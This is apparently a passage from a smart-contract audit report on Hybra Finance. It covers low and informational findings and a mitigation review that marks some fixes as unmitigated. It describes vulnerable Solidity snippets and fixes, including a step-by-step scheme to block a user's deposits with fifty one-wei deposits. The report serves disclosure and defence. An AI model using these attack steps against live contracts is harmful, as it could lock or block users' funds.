The collectAllProtocolFees() function is vulnerable to a potential permanent denial of service (DoS) condition. Since pool creation is permissionless, any user can repeatedly call createPool() to add an arbitrary number of pools to the global allPools array. When collectAllProtocolFees() iterates over this unbounded list, the loop can easily exceed the gas limit, causing the transaction to revert and effectively disabling the function permanently.
function collectAllProtocolFees() external {
require(msg.sender == owner);
for (uint256 i = 0; i < allPools.length; i++) {
CLPool(allPools[i]).collectProtocolFees(msg.sender);
}
}
Impact
- Denial of service: Owner’s single-call fee sweep can be blocked or made impractically expensive by mass pool creation.
Recommended mitigation steps
Stop relying on a single global loop: add collectFeesBatch(start, end) so collections are done in gas-bounded chunks.
L-02: It is Possible to Create a Gauge with rewardToken = 0x0 and Can Permanently Lock User’s Nft
Anyone can create a gauge its permissionless, any user can create a gauge with rewardToken set as 0x0 address, users who interact(deposit their nft) with that faulty gauge can permanently lock their nft inside the contract
Impact
In _getReward safe approve will always fail, SO this mean when a user deposits he can never withdraw, because inside the withdraw function _getReward is called and it will always revert so users deposited funds are locked in the contract.
Mitigation
Add a require(rewardToken!=address(0x0)) in the createGauge function in the GaugeFactoryCL contract
L-03: Protocol loss: Unrecoverable Dust Locked Due to Incorrect Decrement Before Transfer
In the CLPool contract, the collectProtocolFees() function, the contract clears the protocolFees slot to zero and then performs —amount before transferring tokens:
protocolFees.token0 = 0;
TransferHelper.safeTransfer(token0, recipient, --amount0);
protocolFees.token1 = 0;
TransferHelper.safeTransfer(token1, recipient, --amount1);
This results in 2 wei of each token being permanently locked in the contract. Since the fee slot is already reset to zero, this residual amount is no longer accounted for and cannot be recovered, leading to silent value loss over multiple calls.
You can see in the function just above it collectFees(), they have not cleared the slot but rather set it to 1, however in the collectProtocolFees() they have cleared the slot hence the -- operator will just make 2 wei stuck on every call.
Here’s a clear example:
- If protocolFees.token0 = 100: protocolFees.token1 = 100;
- The code sets it to 0 for both the tokens
- The code decrement amount0 and amount1 to 99
- The code transfers 99 tokens
The contract’s balance still contains 2 wei, but protocolFees.token0 and protocolFees.token0 no longer tracks it
That 2 wei is orphaned — it’s not assigned to fees and the protocol has no function to recover it.
Impact
This small value can slowly accumulate and lead to a large value, hence loss of the protocol.
Recommended mitigation steps
Remove the ”—” from amount0 and amount1, heres the updated code:
function collectProtocolFees(address recipient) external lock returns (uint128 amount0, uint128 amount1) {
require(msg.sender == factory);
amount0 = protocolFees.token0;
amount1 = protocolFees.token1;
if (amount0 > 0) {
protocolFees.token0 = 0;
TransferHelper.safeTransfer(token0, recipient, amount0);
}
if (amount1 > 0) {
protocolFees.token1 = 0;
TransferHelper.safeTransfer(token1, recipient, amount1);
}
// emit CollectProtocolFees(recipient, amount0, amount1);
}
L-04: Incorrect Time Constants in Withdrawal Window Logic
The variables headnotwithdrawtime and tailnotwithdrawtime are incorrectly set to 1200 and 300, while the comments indicate they should represent 5 days and 1 day respectively. This mismatch causes the withdrawal restriction window to last only minutes instead of days.
Impact
Users can withdraw prematurely—within minutes of an epoch start—bypassing the intended cooldown or restriction period.
Recommended mitigation steps:
Update constants to reflect intended durations:
uint256 public head_not_withdraw_time = 5 days;
uint256 public tail_not_withdraw_time = 1 days;
or use equivalent second values (432000 and 86400).
L-05: Split Restriction Bypass via NFT Transfer to Allowed User
The splitAllowed modifier is meant to restrict multiSplit() actions to team-approved users. However, since NFTs can be freely transferred, a non-allowed user can transfer their NFT to an allowed user, who then performs multiSplit and returns the resulting NFTs — effectively bypassing the intended restriction.
Impact
- Bypass of a key constraint
- This allows non-approved users to indirectly perform multiSplit, undermining the access control enforced by splitAllowed. It nullifies the team’s intended control over who can split NFTs, potentially enabling abuse.
Recommended mitigation steps
Enforce ownership-based restriction by validating the original owner or source of the NFT in multiSplit, or implement an immutable flag within each NFT recording whether it was originally owned by an approved splitter.
L-06: transferFrom() breaks erc20 compliance
In HYBR.sol, the transferFrom function is responsible for allowing a spender to transfer tokens on behalf of an owner within an approved allowance. In the current implementation, there is no check to ensure the spender does not exceed their allowed amount.
Impact
This breaks the erc20 compliance since it expects to revert.
Mitigation
Add a check before decrementing the allowance:
require(allowed_from >= _value, "ERC20: transfer amount exceeds allowance");
L-07: previewAvailable() view function can be dosed
The previewAvailable() view function can be dosed by any attacker via depositing dust amounts, during a deposit a lock is created and this function loops through all of the locks ever created for that user.
Due to gas exhaustion this function can be dosed.
Impact
This function was made for users to see their balance, but under this attack vector the user is permanently dosed from using this functionality.
Mitigation
Remove the recipient logic from the deposit function.
L-08: User’s rewards are slowly depleted on ever deposit/getReward function called in GaugeV2
The earned function calculates user rewards using integer math:
rewards[account] + _balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18
Repeated deposits trigger updates to the rewards of the user which causes small rounding errors.
Integer division takes place twice, once in earned() and another in rewardPerToken()
Impact
- This small rounded values can gradually accumulate to a larger value.
- Leading to slow and gradual loss of rewards
- Every time an function with the updateReward modifier is called, user faces this loss.
Mitigation
Protocol can potentially use higher precision to avoid such rounding down or consider storing rewards in a fixed-point library or using SafeMath for intermediate steps to minimize rounding loss.
I-01: OnReward() does not exist
In the provided repo, none of the contracts has the OnReward function defined, The OnReward function was present in the GaugeExtraRewarder contract from blackhole but it seems the contract has been removed from the repo(mabye because the protocol no longer decides to use it), OnReward() has been used in many functions, in gaugeV2, OnReward is used indeposit(), _withdraw() and in getReward().
However this remains informational as the functionality is used optionally:
Example:
if (gaugeRewarder != address(0)) {
IRewarder(gaugeRewarder).onReward(msg.sender, msg.sender, _balanceOf(msg.sender));
}
Impact
gaugeRewarder will eventually be set by the protocol if required, so does not posses much impact, This is just highlighted to make the protocol aware that the contract in which OnReward() is suppose to be there is not present.
Recommended mitigation steps
Define a contract with the OnReward() functionality
NC-01: Incorrect require statement in setInternalBribe()
In the GaugeCl contract, the setInternalBribe() function performs an incorrect validation check using require(_int >= address(0)), which always passes since all Ethereum addresses are greater than or equal to address(0). This effectively allows setting the internal_bribe address to the zero address.
///@notice set new internal bribe contract (where to send fees)
function setInternalBribe(address _int) external onlyOwner {
require(_int >= address(0), "zero");
internal_bribe = _int;
}
Impact
This incorrect check allows 0x0 addresses too
Mitigation
Change the operator sign from >= to !=
///@notice set new internal bribe contract (where to send fees)
function setInternalBribe(address _int) external onlyOwner {
require(_int != address(0), "zero");
internal_bribe = _int;
}
NC-02: Redundant maturity check in _withdraw()
In the GaugeV2.sol contract, the _withdraw function includes the following check:
require(block.timestamp >= maturityTime[msg.sender], "!MATURE");
This validation is redundant in the current context. It appears to be leftover from a fork of the Blackhole contract, where it was originally intended to prevent users from immediately withdrawing after calling depositGenesis. Since Hybra no longer implements the genesis functionality, this maturity check serves no purpose and can be safely removed.
Impact
Takes up storage and gas
Recommended mitigation steps
Remove the require check from _withdraw
Mitigation Review
Introduction
Following the C4 audit, 3 wardens (niffylord, rayss, and ZanyBonzy) reviewed the mitigations for all sponsor-confirmed issues.
Additional details can be found within the Hybra Finance mitigation review repositories:
Mitigation Review Scope & Summary
During the mitigation review, the wardens determined that 2 in-scope findings from the original audit were not fully mitigated. They also surfaced several new issues (1 Medium severity and 5 Low severity); the new Medium severity issue was consequently mitigated and reviewed by the participating wardens.
The table below provides details regarding the status of each in-scope vulnerability from the original audit, followed by full details on the new Medium severity finding, and in-scope vulnerabilities that were not fully mitigated.
| Original Issue | Status | Mitigation URL |
|---|---|---|
| H-01 | 🟢 Mitigation Confirmed | ve33: PR 4 |
| M-01 | 🟢 Mitigation Confirmed | cl: PR 1 |
| M-03 | 🟢 Mitigation Confirmed | ve33: PR 4 |
| M-05 | 🟢 Mitigation Confirmed | ve33: PR 3 |
| M-06 | 🟢 Mitigation Confirmed | [ve33: PR 3 |
| M-07 | 🟢 Mitigation Confirmed | ve33: PR 5 |
| M-08 | 🟢 Mitigation Confirmed | ve33: PR 6 |
| M-09 | 🔴 Unmitigated | ve33: PR 1 |
| S-861 (Low) | 🟢 Mitigation Confirmed | ve33: PR 2 |
| S-101 (Low) | 🟢 Mitigation Confirmed | ve33: PR 4 |
| S-470 (Low) | 🔴 Unmitigated | ve33: PR 6 |
Mitigation of M-09: Unmitigated
Submitted by ZanyBonzy; also submitted by niffylord
GaugeManager.sol #L138-L211
CL gauge accepts unverified pools, allowing malicious pool to brick distribution
Finding description and impact
M-09/S-66 is unmitigated. The provided fix doesn’t address the core issue. Adding access control to the GaugeFactory doesn’t completely fix the issue.
There are two issues.
- Creation with fake cl pools
- Creation with multple pools to cause dos. None is fixed
A malicious user can still call createGauges in the GaugeManager which will call createGauge in the GaugeFactory making the fix ineffective. The same impacts will still be present.
Proof of Concept
function createGauges(address[] memory _pool, uint256[] memory _gaugeTypes) external nonReentrant returns(address[] memory, address[] memory, address[] memory) {
require(_pool.length == _gaugeTypes.length, "MISMATCH_LEN");
require(_pool.length <= 10, "MAXVAL");
address[] memory _gauge = new address[](_pool.length);
address[] memory _int = new address[](_pool.length);
address[] memory _ext = new address[](_pool.length);
uint256 i = 0;
for(i; i < _pool.length; i++){
(_gauge[i], _int[i], _ext[i]) = _createGauge(_pool[i], _gaugeTypes[i]); //<<===== 1
}
return (_gauge, _int, _ext);
}
/// @notice create a gauge
function createGauge(address _pool, uint256 _gaugeType) external nonReentrant returns (address _gauge, address _internal_bribe, address _external_bribe) {
(_gauge, _internal_bribe, _external_bribe) = _createGauge(_pool, _gaugeType); //<<===== 2
}
/// @notice create a gauge
/// @param _pool LP address
/// @param _gaugeType the type of the gauge you want to create
/// @dev To create stable/Volatile pair gaugeType = 0, Concentrated liqudity = 1, ...
/// Make sure to use the corrcet gaugeType or it will fail
function _createGauge(address _pool, uint256 _gaugeType) internal returns (address _gauge, address _internal_bribe, address _external_bribe) {
require(_gaugeType < _factoriesData.pairFactories.length, "GAUGETYPE");
require(gauges[_pool] == address(0x0), "DNE");
require(_pool.code.length > 0, "CODELEN");
bool isPair;
address _factory = _factoriesData.pairFactories[_gaugeType];
address _gaugeFactory = _factoriesData.gaugeFactories[_gaugeType];
require(_factory != address(0), "ZA");
require(_gaugeFactory != address(0), "ZA");
address tokenA = address(0);
address tokenB = address(0);
(tokenA) = IPairInfo(_pool).token0();
(tokenB) = IPairInfo(_pool).token1();
// for future implementation add isPair() in factory
if(_gaugeType == 0){
isPair = IPairFactory(_factory).isPair(_pool);
}
if(_gaugeType == 1) { //<<===== 1
// removed due to code size
// require(_pool_hyper == _pool_factory, 'wrong tokens');
isPair = true;
}
//...
}
Status: Hybra Finance disputed.
Mitigation of S-470: Unmitigated
Submitted by niffylord; also found by ZanyBonzy and rayss
VotingEscrow.sol #L199-L424
contracts/VotingEscrow.solleaveswithdrawunchanged, so partner veNFT holders can still exit their full balance without proving they met the bribing requirement.- The new partner tooling (
contracts/VotingEscrow.sol) only lets the team mint and manually revoke partner veNFTs; it does not tie withdrawal rights to bribe activity or track compliance on-chain. - Because enforcement remains off-chain and partners can withdraw before any manual revocation, the original guarantee (“melt unless you bribe”) is still unrealised.
Status: Unmitigated
[MR M-01] Deposit in GovernanceHYBR can Be DOSed for users
Severity: Medium
GovernanceHYBR.sol #L270-L281
The issue S-101 is now fixed by limiting the number of deposits to 50.
The fix however introduces a new issue.
Malicious users can spend as little as 50 wei of token to dos deposits for a user for the next 24 hours or however long the transferLockPeriod parameter is set to (minimum of 12 hours).
_addTransferLock reverts if the user has 50 or more locks.
function _addTransferLock(address user, uint256 amount) internal {
uint256 len = userLocks[user].length;
// gas optimization
require(len < 50, "too many locks"); //<=====1
uint256 unlockTime = block.timestamp + transferLockPeriod;
userLocks[user].push(UserLock({
amount: amount,
unlockTime: unlockTime
}));
lockedBalance[user] += amount;
}
So when the 51st lock is about to be created, the require(len < 50, "too many locks"); will revert the transaction halting deposit until the first lock expires.
In a more dedicated attack, as soon as the first lock expires, the malicious user can frontrun and create a new deposit before the actual owner is able to deposit, pushing the DOS attack to the next 24 hours.
Step By Step Proof of Concept
- User is about to deposit into the contract.
- Attacker sees this and creates 50 deposits of 1 wei each on behalf of the user.
- The user’s deposit transaction reverts with “too many locks” error.
- The user is forced to wait for the locks to expire before being able to deposit.
- The user may be able to withdraw after the wait but the amount to withdraw is too insigificant to be useful.
Recommended mitigation steps
A potential fix is to prevent users from depositing on other users’ behalf. If the fucntionality is needed, an approved user mechanism can be implemented.
Otherwise, introduce a substantial minimum deposit amount to make the attack significantly more expensive for the attacker.
Recommended mitigation steps
Add access control to the _createGauge function in the GaugeManager.
Status: Mitigation of S-101 confirmed after further review by wardens niffylord, rayss, and ZanyBonzy.
Disclosures
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.